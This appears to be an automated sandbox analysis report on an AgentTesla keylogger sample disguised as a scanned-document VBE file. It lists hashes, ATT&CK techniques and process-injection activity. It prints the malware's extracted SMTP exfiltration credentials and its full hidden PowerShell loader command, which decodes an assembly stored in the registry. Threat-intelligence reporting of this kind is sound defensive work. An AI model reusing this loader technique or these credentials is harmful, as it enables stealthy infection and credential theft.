agenttesla | 4f9bdf8dc7e1ebdde387b09fad8292e5462d5f1ce1bbf227eee7ad6d12b9f1ad

General

Target

DOC-SCAN 20250422pdf.vbe
Size

1.4MB
MD5

e74e9c45b6174df5b9fce15b790ad64f
SHA1

1b785dbbb0827ae8583269c3268e1fa4b66c4107
SHA256

8ca7465b2cebc546b19374162071bd15dd523bf7c47822679af3f32bf7b19125
SHA512

2ffcd4b22ba4a692557ea7f74c96d5eeb831818bdb18b071e70af1d6d4910c3478c2b2e1206253a174a860f4a5302cd002fac4dc52247ca97a8a3dbe978faa07
SSDEEP

24576:802hUXc2IkQqu9ytsCv+ofYoXtztBzBYbZjD8Yhg+r4FzIjlHOkPEHF30+Wgb8:zh1YLki

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
162.254.34.31
Port:
587
Username:
[email protected]
Password:
26ivK6IyAzFg
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
8	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	api.ipify.org
17	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 8 set thread context of 872	8	powershell.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
872	MSBuild.exe
872	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	8	powershell.exe
Token: SeDebugPrivilege	872	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1132 wrote to memory of 8	1132	WScript.exe	88
PID 1132 wrote to memory of 8	1132	WScript.exe	88
PID 8 wrote to memory of 872	8	powershell.exe	91
PID 8 wrote to memory of 872	8	powershell.exe	91
PID 8 wrote to memory of 872	8	powershell.exe	91
PID 8 wrote to memory of 872	8	powershell.exe	91
PID 8 wrote to memory of 872	8	powershell.exe	91
PID 8 wrote to memory of 872	8	powershell.exe	91
PID 8 wrote to memory of 872	8	powershell.exe	91
PID 8 wrote to memory of 872	8	powershell.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOC-SCAN 20250422pdf.vbe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\pXjpgdOFPfmQoBy' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [lol.lol]::lol('pXjpgdOFPfmQoBy')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:872

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Roaming\pXjpgdOFPfmQoBy.vbs"
1⤵
PID:3228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_znyxylxm.nak.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\pXjpgdOFPfmQoBy.vbs

Filesize
2KB

MD5
416ea489583dbdca7c39c03488abe7e4

SHA1
4090572d3fe094c86426f8c49137b96a468b4603

SHA256
f83f395b85318ea66ee22cd09b7bdcfc929d4ee4d1943604ab13bdd714e53d48

SHA512
abe3fb4591b1e3333397fd8c667b8f551ea2da1a9c1b314b6a24cc48b5150aa1f5cacabbbf4085ddcf95ab6f3e427e97d0c5135b2cc8551a20d5fcd6cf6a4bb6

Download Submit
memory/8-11-0x000002C6FFDF0000-0x000002C6FFE12000-memory.dmp

Filesize
136KB

Download
memory/8-12-0x00007FFC744D0000-0x00007FFC74F91000-memory.dmp

Filesize
10.8MB

Download
memory/8-13-0x00007FFC744D0000-0x00007FFC74F91000-memory.dmp

Filesize
10.8MB

Download
memory/8-14-0x000002C6FFE70000-0x000002C6FFEB4000-memory.dmp

Filesize
272KB

Download
memory/8-15-0x000002C69BD70000-0x000002C69BD7A000-memory.dmp

Filesize
40KB

Download
memory/8-16-0x000002C69BDA0000-0x000002C69BDAC000-memory.dmp

Filesize
48KB

Download
memory/8-1-0x00007FFC744D3000-0x00007FFC744D5000-memory.dmp

Filesize
8KB

Download
memory/8-18-0x00007FFC744D0000-0x00007FFC74F91000-memory.dmp

Filesize
10.8MB

Download
memory/872-17-0x0000000000A00000-0x0000000000A40000-memory.dmp

Filesize
256KB

Download
memory/872-20-0x0000000005190000-0x00000000051F6000-memory.dmp

Filesize
408KB

Download
memory/872-21-0x00000000065B0000-0x0000000006600000-memory.dmp

Filesize
320KB

Download
memory/872-22-0x00000000066A0000-0x0000000006732000-memory.dmp

Filesize
584KB

Download
memory/872-23-0x0000000006620000-0x000000000662A000-memory.dmp

Filesize
40KB

Download
memory/872-19-0x00000000056D0000-0x0000000005C74000-memory.dmp

Filesize
5.6MB

Download

Analysis

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